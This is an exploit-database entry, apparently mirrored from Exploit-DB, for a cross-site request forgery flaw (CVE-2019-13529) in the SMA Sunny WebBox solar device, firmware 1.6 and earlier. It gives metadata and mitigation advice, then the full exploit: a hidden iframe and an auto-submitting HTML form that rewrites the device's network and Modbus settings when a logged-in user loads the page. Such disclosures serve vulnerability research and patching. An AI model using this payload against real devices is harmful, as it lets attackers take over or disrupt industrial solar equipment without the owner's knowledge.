header-logo
Suggest Exploit
vendor:
Sunny WebBox
by:
Borja Merino and Eduardo Villaverde
8.8
CVSS
HIGH
Cross-Site Request Forgery
CSRF
CWE
Product Name: Sunny WebBox
Affected Version From: Firmware Version 1.6 and prior
Affected Version To:
Patch Exists: NO
Related CWE: CVE-2019-13529
CPE: a:sma:sunny_webbox_firmware:1.6
Metasploit:
Other Scripts:
Platforms Tested: Sunny WebBox SMA Solar Device (Firmware Version 1.6)
2019

SMA Solar Technology AG Sunny WebBox device – 1.6 – Cross-Site Request Forgery

This exploit allows an attacker to perform unauthorized actions on the SMA Solar Technology AG Sunny WebBox device by tricking a logged-in user into submitting a malicious form. The exploit takes advantage of a lack of CSRF protection in the device's firmware version 1.6 and prior.

Mitigation:

To mitigate this vulnerability, users should update the firmware of the Sunny WebBox device to a version that includes CSRF protection. Users should also be cautious of clicking on links or submitting forms from untrusted sources.
Source

Exploit-DB raw data:

# Exploit Title: SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery
# Date: 2019-10-08
# Exploit Author: Borja Merino and Eduardo Villaverde
# Vendor Homepage: https://www.sma.de
# Version: Firmware Version 1.6 and prior
# Tested on: Sunny WebBox SMA Solar Device (Firmware Version 1.6)
# CVE : CVE-2019-13529
# ICS-Cert Advisory: https://www.us-cert.gov/ics/advisories/icsa-19-281-01

<!-- Change any hidden value -->

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://X.X.X.X/wb_network_changed.htm' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='RadioButtonDhcp' value='off'>
  <input type='hidden' name='IpAddr' value='1.1.1.1'>
  <input type='hidden' name='SubnetMask' value='255.255.255.0'>
  <input type='hidden' name='Gateway' value='1.1.1.1'> 
  <input type='hidden' name='DnsIpAddr' value='5.5.5.1'>
  <input type='hidden' name='Dns2IpAddr' value='5.5.5.2'>
  <input type='hidden' name='StaticNatPortHttp' value='80'>
  <input type='hidden' name='WebserverPort' value='80'>
  <input type='hidden' name='WebservicePort' value='80'>
  <input type='hidden' name='RadioButtonModbus' value='off'>
  <input type='hidden' name='ModbusPort' value='502'>
  <input type='hidden' name='BConfirm' value='Confirmar'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>